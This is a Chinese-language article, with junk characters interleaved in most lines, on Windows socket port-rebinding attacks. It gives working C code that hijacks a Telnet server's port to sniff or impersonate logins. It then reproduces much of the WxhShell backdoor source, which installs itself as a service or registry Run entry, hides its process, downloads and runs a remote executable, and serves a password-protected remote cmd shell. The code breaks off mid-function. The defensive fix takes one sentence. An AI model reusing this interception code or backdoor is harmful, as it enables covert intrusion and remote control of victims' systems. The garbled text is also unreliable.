在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
N^$9;CKP= s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
^tE_LL+ji| ;/Q6i
saddr.sin_family = AF_INET;
R`He^ g3rRhS saddr.sin_addr.s_addr = htonl(INADDR_ANY);
w??c1) W(k:Pl# bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
1pCkWe kME^tpji 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
;QidDi_s> qz:]-A 这意味着什么?意味着可以进行如下的攻击:
*]!l%Uf% #{>uC&jD 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
jaqV[*440U .YiaXP 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
('BLU.7IX `cO|RhD@ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
0#`)Prop6
Ars,V3ep 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
)OUU]MUH =, TS MV 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
\1{_lynD U3VT*nj' 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
w -dI<s `$Kes;[X 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
cyb(\ fsC lbofF==( #include
Bt6xV<jD #include
iPkT*Cl8 #include
#W^_]Q=5R' #include
ecT]p DWORD WINAPI ClientThread(LPVOID lpParam);
_Ff".t<" int main()
h/9Sg*k {
hG~ Uz WORD wVersionRequested;
U2=hSzY DWORD ret;
"MTq{f2? WSADATA wsaData;
pLJeajv)z BOOL val;
^@N`e1 SOCKADDR_IN saddr;
'rh\CA/}D SOCKADDR_IN scaddr;
[[$Mh_MD int err;
mVHFT~x7} SOCKET s;
oo'iwq-\ SOCKET sc;
`{WCrw6) int caddsize;
c*jr5 Y HANDLE mt;
Ss+F9J
DWORD tid;
sHF%=Vu wVersionRequested = MAKEWORD( 2, 2 );
XC2Q*Z err = WSAStartup( wVersionRequested, &wsaData );
.:SfMr;G if ( err != 0 ) {
>["Kd.ye printf("error!WSAStartup failed!\n");
G*=H;Upi return -1;
Mi;Tn;3er }
y
"<JE<X saddr.sin_family = AF_INET;
Yr:>icz| hOV_Oqe4? //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
{6DpPw^ " vevx|<9, saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
sbpu
qOL saddr.sin_port = htons(23);
cUYX1a)8 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
-Cg`x=G;z {
9@JlaY)0 printf("error!socket failed!\n");
tuX =o
return -1;
5+o
2 T] }
nYo&x' val = TRUE;
gF$1wV]e //SO_REUSEADDR选项就是可以实现端口重绑定的
'
}y]mFpF if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
XL{{7%j {
nYmf(DV printf("error!setsockopt failed!\n");
MH C.k= return -1;
Cmp{F N"o }
GG@iKL V //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
JS }_q1H //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
: Bdi pc //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Krt$=:m|1 `NYF?% if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
&\CJg'D:m {
ZJiuj! ret=GetLastError();
V,99N'o~x printf("error!bind failed!\n");
S.zg& return -1;
l"2^S6vU }
WsG"x>1n listen(s,2);
PT
0Qzg while(1)
3sd{AkD^ {
B<vvsp\X caddsize = sizeof(scaddr);
O6*'gnke //接受连接请求
]<&B
BQ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
}Rf}NWU)| if(sc!=INVALID_SOCKET)
LZ=wz.'u {
FU [8:o62 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
s8`}x _k= if(mt==NULL)
`8$:F4%P {
Y^*Lh/:h printf("Thread Creat Failed!\n");
?0 KiR? break;
duZ|mT8Q== }
Gd]5xl
HRU }
(9WL+S CloseHandle(mt);
hlSB7D"d }
WcV\kemf closesocket(s);
r_!{!i3B WSACleanup();
-+j9X;h: return 0;
B` t6H }
vu
!j{%GO DWORD WINAPI ClientThread(LPVOID lpParam)
d=xI {
Y%n{`9= SOCKET ss = (SOCKET)lpParam;
46Y7HTwE SOCKET sc;
u`L!za7fi unsigned char buf[4096];
t?Njw7 SOCKADDR_IN saddr;
&k%wOz1vM long num;
)eTnR:= DWORD val;
)sY$\^'WY DWORD ret;
n;S0fg //如果是隐藏端口应用的话,可以在此处加一些判断
cAsSN.HFS //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
1%]{0P0?[ saddr.sin_family = AF_INET;
W_e-7=6 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
vMW-gk saddr.sin_port = htons(23);
n{qa ]3 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
:3E8`q~c1 {
b}EYNCw_7S printf("error!socket failed!\n");
i no7!T` return -1;
qw
Kh,[] }
N~Sue val = 100;
SzgY2+Qq if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
FzsS~C$wH{ {
(Ay4B*|! ret = GetLastError();
)P(d66yq'u return -1;
'%eaK_+7 }
7y)|^4X2 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
fO^EMy\ {
v0H>iKh7 ret = GetLastError();
r,Y/4(.c7U return -1;
u}@%70A }
}~Kyw7? if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
o}AqNw60v {
J4K|KS7
printf("error!socket connect failed!\n");
?SsRN jeL closesocket(sc);
E%J7jA4 closesocket(ss);
[u9S+:7" return -1;
-c<1H)W }
Tr}$Pb1 while(1)
7Hr4yh[j& {
Um0<I) //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
XM5;AcD //如果是嗅探内容的话,可以再此处进行内容分析和记录
WSpg(\Cs //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
[#3Cg%V num = recv(ss,buf,4096,0);
{]/Jk07 if(num>0)
oRJP5Y5na send(sc,buf,num,0);
>a anLLO else if(num==0)
WHD/s break;
xx`8>2T#e num = recv(sc,buf,4096,0);
GWkJ/EX if(num>0)
|2t7mat send(ss,buf,num,0);
iHG:W wM & else if(num==0)
BoiIr[ ( break;
k
@/SeE }
s%TO(vT closesocket(ss);
?\p%Mx? closesocket(sc);
da86Jj=k return 0 ;
O'sr[ }
RT+30Q? &fNE9peQFa I>4Tbwy.- ==========================================================
0f#a_ .Mft+," 下边附上一个代码,,WXhSHELL
"62Ysapq+ p$!+2=)gY ==========================================================
Z-sN4fr a m&jt[
#include "stdafx.h"
8!fAv$g0 &+r
;> #include <stdio.h>
Vi-!E #include <string.h>
2] wf`9ZH #include <windows.h>
)+{omQ7v #include <winsock2.h>
KL\=:iWA #include <winsvc.h>
uB&I56 #include <urlmon.h>
kE(-vE9 hw.demD #pragma comment (lib, "Ws2_32.lib")
u9~V2>r\ #pragma comment (lib, "urlmon.lib")
ppo$&W
&z w#bbm'j7r #define MAX_USER 100 // 最大客户端连接数
c68$pgG #define BUF_SOCK 200 // sock buffer
.+~kJ0~Y #define KEY_BUFF 255 // 输入 buffer
S$_Ts1Ge6 zSvHv s #define REBOOT 0 // 重启
IhKas4 #define SHUTDOWN 1 // 关机
p){RSq QR"O)lP #define DEF_PORT 5000 // 监听端口
UU~;B M
#RuI% #define REG_LEN 16 // 注册表键长度
+O:pZz #define SVC_LEN 80 // NT服务名长度
h] TVi$J %1d6j<7 // 从dll定义API
2
]6u
Be typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
Y%cA2V\#m typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
XlcDF|?{. typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
zSufU2 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
~5qZs"ks }@0. // wxhshell配置信息
Q2WrB+/ struct WSCFG {
$W]guG int ws_port; // 监听端口
Gkvd{G?F char ws_passstr[REG_LEN]; // 口令
3\~fe/z'I int ws_autoins; // 安装标记, 1=yes 0=no
4!W?z2ly~R char ws_regname[REG_LEN]; // 注册表键名
fe`G^hV char ws_svcname[REG_LEN]; // 服务名
+GtGyp char ws_svcdisp[SVC_LEN]; // 服务显示名
Z 2jMBe char ws_svcdesc[SVC_LEN]; // 服务描述信息
-^yc yZ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
03\8e?$ int ws_downexe; // 下载执行标记, 1=yes 0=no
n&&U9sf? char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
B{7/A[$%C char ws_filenam[SVC_LEN]; // 下载后保存的文件名
tF1%=&ss 1MFpuPJk };
7n]%`Yb jJC((1| // default Wxhshell configuration
&!fcL Jd struct WSCFG wscfg={DEF_PORT,
iP_Xr~w "xuhuanlingzhe",
2a-hf|b1 1,
TnAX;+u "Wxhshell",
W}3vY] "Wxhshell",
g+*[CKO{ "WxhShell Service",
F\72^,0 "Wrsky Windows CmdShell Service",
sRnMBW. "Please Input Your Password: ",
Wbxksh:)Q 1,
y$NG ..S "
http://www.wrsky.com/wxhshell.exe",
!7?wd^C'f "Wxhshell.exe"
! .}{
f;Ls };
^q2zqC 3Re\ T // 消息定义模块
BT0hx!Ti char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
5)6%D char *msg_ws_prompt="\n\r? for help\n\r#>";
Ba~Iy2\x char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
X:/t>0e char *msg_ws_ext="\n\rExit.";
}C}_
I:=C char *msg_ws_end="\n\rQuit.";
Y.#+Yh[ char *msg_ws_boot="\n\rReboot...";
`;@4f|N9 char *msg_ws_poff="\n\rShutdown...";
(0f^Hh wF char *msg_ws_down="\n\rSave to ";
KYN{iaj !CKUkoX char *msg_ws_err="\n\rErr!";
l0)uu4| char *msg_ws_ok="\n\rOK!";
CVp<SS( L;`t%1 char ExeFile[MAX_PATH];
#CmBgxg+M int nUser = 0;
?Y* PVx9Y HANDLE handles[MAX_USER];
c-d}E!C: int OsIsNt;
[%kucG C7 <^{: K` SERVICE_STATUS serviceStatus;
v(~m!8!TI SERVICE_STATUS_HANDLE hServiceStatusHandle;
TVA1FD xkovoTzV // 函数声明
EM}z-@A> int Install(void);
(%}C int Uninstall(void);
T:$_1I $ int DownloadFile(char *sURL, SOCKET wsh);
ZbUf|#GTB int Boot(int flag);
pkx>6(Y void HideProc(void);
z^.0eP8\j int GetOsVer(void);
v!Z 9T int Wxhshell(SOCKET wsl);
$(U|JR@ void TalkWithClient(void *cs);
): 6d_g{2 int CmdShell(SOCKET sock);
J7xmf,76w int StartFromService(void);
Fm"$W^H int StartWxhshell(LPSTR lpCmdLine);
Npqb xb ?F/3]lsggT VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
"|if<hx+ VOID WINAPI NTServiceHandler( DWORD fdwControl );
/V&Y@j s><co] // 数据结构和表定义
PW}.` SERVICE_TABLE_ENTRY DispatchTable[] =
)c/]
8KU {
Tx*m
p+q {wscfg.ws_svcname, NTServiceMain},
q<VhP2R {NULL, NULL}
7nmo p7 };
9=|5-?^ Z>l>@wN m // 自我安装
y.zQ ` int Install(void)
/03>|Juo {
K_i2%t3 char svExeFile[MAX_PATH];
F}Au'D&n_ HKEY key;
s>5 Z strcpy(svExeFile,ExeFile);
XebCl{HHp P]n
'q // 如果是win9x系统,修改注册表设为自启动
k{~5pxd-t if(!OsIsNt) {
(k?OYz]c if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
7u zN/LAF RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
X_lNnk RegCloseKey(key);
L" o6)N if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
[#:k3aFz RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
AF@C9s RegCloseKey(key);
V+^\SiM return 0;
P1t5-q }
=F9-,"EAI }
:9<5GF( }
Oe$C5KA>LW else {
R`c5-0A 8PQt8G. // 如果是NT以上系统,安装为系统服务
>a<;)K^1 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
u>BR WN if (schSCManager!=0)
4h|vd.t {
]?^mb n SC_HANDLE schService = CreateService
!59q@Mya[ (
R#0UwRjeF schSCManager,
%EuSP0 wscfg.ws_svcname,
fIu/*PFPVY wscfg.ws_svcdisp,
d/MMPge3 SERVICE_ALL_ACCESS,
F
J)la9 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
y0xte& SERVICE_AUTO_START,
e.[h SERVICE_ERROR_NORMAL,
j:0z/gHp$ svExeFile,
r;-\z(h NULL,
BwR)--75 NULL,
+7=3[K NULL,
j*GYYEY NULL,
[,VD^\ NULL
N)QW$iw9 );
s\@!J.Da if (schService!=0)
cG.4%Va@s_ {
).\%a
h CloseServiceHandle(schService);
p?5zwdX+` CloseServiceHandle(schSCManager);
0L'h5i>H) strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
E;yP.<PW strcat(svExeFile,wscfg.ws_svcname);
,a}+Jj{ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
zFlW\wc RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
2TdcZ<k}J RegCloseKey(key);
YM-,L-HMA return 0;
cY5h6+ _ }
Zf ;U=]R }
Z\n
nVM= CloseServiceHandle(schSCManager);
%5'6^bT }
:AL
nm0d }
+5voAx! v81<K*w`P return 1;
,#nyEE }
alyWp eGjEO&$ // 自我卸载
*~cq
(PFQ int Uninstall(void)
*&XOzaVU {
n}EH{k9# HKEY key;
qeypa! H>%K}Fh if(!OsIsNt) {
ta%yQd7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
(V&$KDOA RegDeleteValue(key,wscfg.ws_regname);
*y0TtEd; RegCloseKey(key);
`Ps&N^[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
BKi@c\Wb RegDeleteValue(key,wscfg.ws_regname);
5y0N }} RegCloseKey(key);
+JsMYv return 0;
.r4*?> }
Kqm2TMO]>V }
)vn{?Ulj }
h:xvnyaI else {
3VaL%+T$, :pq+SifP SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
pC^d-Ii if (schSCManager!=0)
~7ZWtg;B {
508v:?^' SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
DZ"'GQSg if (schService!=0)
FN\*x:g {
f3^Anaa]l if(DeleteService(schService)!=0) {
sFt"2TVr3 CloseServiceHandle(schService);
9eBD)tnw CloseServiceHandle(schSCManager);
0~4Ww=# return 0;
FJCs$0 }
g8kS}7/ CloseServiceHandle(schService);
2{|Z?3FJ^ }
8
kvF~d
; CloseServiceHandle(schSCManager);
x n?$@ }
F/V-@SF }
6dgwsl~ ^p)#;$6b return 1;
[n4nnmM }
j<'ftKk f*}}Az.4 // 从指定url下载文件
9A~w2z\G int DownloadFile(char *sURL, SOCKET wsh)
M0yv=g {
uP G\1 HRESULT hr;
bMn)lrsX char seps[]= "/";
{8>g?4Q# char *token;
D6-R>"} char *file;
9TX2h0U? char myURL[MAX_PATH];
oR7[[H.4 char myFILE[MAX_PATH];
kMJ}sS ]"}BqS0 strcpy(myURL,sURL);
,p{naT%R token=strtok(myURL,seps);
=^1jVaAL while(token!=NULL)
wx^Det {
0<7sM#sI! file=token;
?r0rY? token=strtok(NULL,seps);
;4l8Qg
7 }
)r^vrCNy> {n|ah{_p| GetCurrentDirectory(MAX_PATH,myFILE);
`;Ho<26 strcat(myFILE, "\\");
D=Q.Q strcat(myFILE, file);
4GbfA
.u send(wsh,myFILE,strlen(myFILE),0);
9u^M{6 send(wsh,"...",3,0);
.W^B(y(tA hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
9}%$j if(hr==S_OK)
/5)*epF+ return 0;
9dq"x[ else
BBM[Fy37!} return 1;
r1}^\C n&Ckfo_D }
u$yXuFj/ D6Au)1y=& // 系统电源模块
$2\8Rn6' int Boot(int flag)
[3"F$?e5 {
4j~q,#$LW HANDLE hToken;
:h5G|^
TOKEN_PRIVILEGES tkp;
+N=HI1^54R mFg$;F if(OsIsNt) {
OKAU*}_ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
PJiU2Y33 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
?V,q&=9 tkp.PrivilegeCount = 1;
yfK}1mx)j tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
& ?x R AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
OL>)SJj5 if(flag==REBOOT) {
"Yh;3tI4* if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
.6P.r} return 0;
:~ pGHl }
o>_})WM1[ else {
/1MmOB if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
gYhY1Mym return 0;
'g!T${ }
d!E_EoOi }
UB.1xcI else {
EW|$qLg if(flag==REBOOT) {
&J)<1!| if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
'|DW#l\n return 0;
q0NFz mG }
*{3d+j/?/ else {
~f h if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
8
MQq3 return 0;
<%m YsaM }
\IE![=p\w }
"iA0hA @khFk.LBD return 1;
6N#hN)/ }
B+K6(^j,,y m<h%BDSzr{ // win9x进程隐藏模块
I.n,TJoz4J void HideProc(void)
umIGI {
'{"Rjv7 ;cXw;$&D HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
UJL2IF-x if ( hKernel != NULL )
e0TYHr)X>3 {
nF@**,C Q pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
A`n>9|R ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
Ca|egQv FreeLibrary(hKernel);
p?i.<Z }
4rU/2}.q QQrldc(I return;
wXIRn?z }
A7%d 1&|]8=pG7 // 获取操作系统版本
+V4)>< int GetOsVer(void)
0k
(- {
^%r6+ey OSVERSIONINFO winfo;
WXy8<?s winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
ANhqS GetVersionEx(&winfo);
%e~xO x if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
P([!psgu return 1;
W_W !v&@E= else
.KrLvic return 0;
!"N,w9MbD }
h.edb6 5T x4u%g // 客户端句柄模块
T#ls2UL*xh int Wxhshell(SOCKET wsl)
6u, g {
$94lF~ SOCKET wsh;
b j&!$') struct sockaddr_in client;
t<45[~[ DWORD myID;
p*Z<DEh# Z[#8F&QV!m while(nUser<MAX_USER)
4fi4F1 f {
cXq9k!I% int nSize=sizeof(client);
9^a|yyzL wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
4|?(LHBD) if(wsh==INVALID_SOCKET) return 1;
bBi>BP= xrf|c handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
$MR1
*_\V if(handles[nUser]==0)
k8s)PN closesocket(wsh);
B
~v6_x else
:Qa*-)rs nUser++;
W>jKWi,{ }
m6i ,xn WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
.\oz zK6w0 return 0;
I'5[8 }
<Y`(J# Bl+\|[yd // 关闭 socket
>g$iO`2 void CloseIt(SOCKET wsh)
lV'?X% {
*$9U/ d closesocket(wsh);
!KI^Z1dP( nUser--;
!j $cBf4 ExitThread(0);
U6-47m0% }
bPTtA;u [[[C`H@ // 客户端请求句柄
X5o*8Bg4M void TalkWithClient(void *cs)
@fA{;@N {
3HyOQD"{ T={!/y+ SOCKET wsh=(SOCKET)cs;
+
E{[j char pwd[SVC_LEN];
2*sTU char cmd[KEY_BUFF];
\`y:#N<c char chr[1];
?l~qb]._ int i,j;
2D:/.9= 8v |Ua);B ~F while (nUser < MAX_USER) {
,=e.QAF!" E{)X ;kN= if(wscfg.ws_passstr) {
r`-8+"P if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
{>km]CG //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
m^FKE: //ZeroMemory(pwd,KEY_BUFF);
g{Av
=66Z i=0;
8Y-*rpLy while(i<SVC_LEN) {
`Ij EwKra N4x5!00 // 设置超时
TFOx=_.%i fd_set FdRead;
-~c-mt struct timeval TimeOut;
COsy.$|4 FD_ZERO(&FdRead);
;%0kzIvP FD_SET(wsh,&FdRead);
E q4tcZ TimeOut.tv_sec=8;
|fyzb=Lg TimeOut.tv_usec=0;
Zb_A(mnzh int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
|*48J1:1y if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
1BmKwux: P84YriLo if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
E-^(VZ_Xj pwd
=chr[0]; 7(D)U)9h
if(chr[0]==0xd || chr[0]==0xa) { dG+$!*6Z
pwd=0; \5tG>>c i
break; oAifM1*0
} BEax[=&W
i++; R<fF
^^
} &~;M16XM,e
!e<5JO;c
// 如果是非法用户,关闭 socket e<uf)K=(C
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^>%.l'1/(
} 1?w=v|b:P)
Q\zaa9P
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); u ]y[g
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =^p}JhQ
u`wD6&y*
while(1) { 3{.]!
M]X!D7
ZeroMemory(cmd,KEY_BUFF); MA_YMxP.'
(xvg.Nby
// 自动支持客户端 telnet标准 W{Je)N
j=0; 4pMp@b
while(j<KEY_BUFF) { vn*K\,
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W%5))R$
cmd[j]=chr[0]; OYxYlUq
if(chr[0]==0xa || chr[0]==0xd) { wEq&O|Vj
cmd[j]=0; >&fD:y'&
break; J<H]vs
} $,O8SW.O$
j++; O13]H"O_
} 8.jf6
Q}^Ip7T
// 下载文件 ]%-U~avph
if(strstr(cmd,"http://")) { m+8:_0x "
send(wsh,msg_ws_down,strlen(msg_ws_down),0); c2Z!Vtd
if(DownloadFile(cmd,wsh)) i`f!) 1
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fs~*-R$
else UrciCOQf
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oCE'@}s.i
} j;48Yya'
else { PA803R74
$?!]?{K
switch(cmd[0]) { byE0Z vDM
w%TrL+v
// 帮助 X0+E!~X$zM
case '?': {
wT19m
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); CG@Fn\J
break; #hn
} Jlb{1B$7
// 安装 I6;6x
case 'i': { t90M]EAV
if(Install()) -1B. A
send(wsh,msg_ws_err,strlen(msg_ws_err),0); "CC"J(&a
else x&J\ swN9
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 55ec23m
break; k7@QFw4 j
} w^zqYGxG)
// 卸载 VI9rezZ*
case 'r': { H-&27?s^
if(Uninstall()) cy(w*5Upu
send(wsh,msg_ws_err,strlen(msg_ws_err),0); (y?F8]TfM
else 451.VI}MR
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QsxvA;7%
break; U!Zj%H1XQ0
} S?`0,F
// 显示 wxhshell 所在路径 F4-rPv
case 'p': { gloG_*W
char svExeFile[MAX_PATH]; 4qE4 i:b
strcpy(svExeFile,"\n\r"); MC,Qv9m
strcat(svExeFile,ExeFile); '{~[e**
send(wsh,svExeFile,strlen(svExeFile),0); 3^&`E}r
break; f4AN"rW
} Q3=5q w^
// 重启 _2`b$/)-
case 'b': { KI#v<4C$P
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [ /*;}NUv
if(Boot(REBOOT)) Xl2g Hh
send(wsh,msg_ws_err,strlen(msg_ws_err),0); *)B \M>
else { !nJl.Y$
closesocket(wsh); NTZ3Np`
ExitThread(0); vf>d{F^rv
} Z@x&
break; Hci>q`p#
} 1; kMbl]
// 关机 EI?8/c
case 'd': { eLh35tw
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); b@4UR<
if(Boot(SHUTDOWN)) /@
g 8MUq7
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?&,6Y'"
else { r|ZB3L|7
closesocket(wsh); :epB:r
ExitThread(0); c-NUD$
} 60%fva
break; LzLJ6A>;R
} Jpp-3i.F#
// 获取shell E]&N'+T
case 's': { WW3Jxd
CmdShell(wsh); &@|? %
closesocket(wsh); 0Qeda@J
ExitThread(0); WhH60/`
break; "38<14V
} cf>lY
// 退出 .Xf_U.h$*@
case 'x': { ,-EN{ed
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^9hc`.5N&?
CloseIt(wsh); Cpd>xXZz&S
break; {df;R|8l
} 5 z3WRg
// 离开 s8]%L4lvu
case 'q': { CpX[8>&osD
send(wsh,msg_ws_end,strlen(msg_ws_end),0); -b+)Dp~$p
closesocket(wsh); n;xzjq-
WSACleanup(); !E00I0W-h
exit(1); ~MB)}!S:
break; 5Y`4%*$
} RYC%;h
} B&59c*K
} r/NaoIrJV
RB""(<
// 提示信息 im:[ViR {
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); XZ$g~r
} +J| LfXgB
} tZ@&di:-F
lc
fAb@}2
return; suhnA(T{
} 3bC-B!{;g
qa~ju\jm.
// shell模块句柄 OH n~DL2
int CmdShell(SOCKET sock) $`0^E#Nl
{ Lnn^j#n
STARTUPINFO si; e>!]_B1ad
ZeroMemory(&si,sizeof(si)); g_tEUaiK
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *Y53bZ
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $E:z*~?
PROCESS_INFORMATION ProcessInfo; q(s0dkrj
char cmdline[]="cmd"; si]MQ\i+
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~^Ga?Q_
return 0; Z
*l&<q>#
} &V&beq4)p
9
s2z=^
// 自身启动模式 Bgsi$2hI
int StartFromService(void) id`9,IJx
{ 8BS Nm
typedef struct O6-';H:I]L
{ <Z]j89wzDZ
DWORD ExitStatus; T|YMU?4
DWORD PebBaseAddress; .bh7
DWORD AffinityMask; B=_5gZ4Y
DWORD BasePriority; @frV:%
ULONG UniqueProcessId; 0!:%Ge_
ULONG InheritedFromUniqueProcessId; Lq@uwiq!
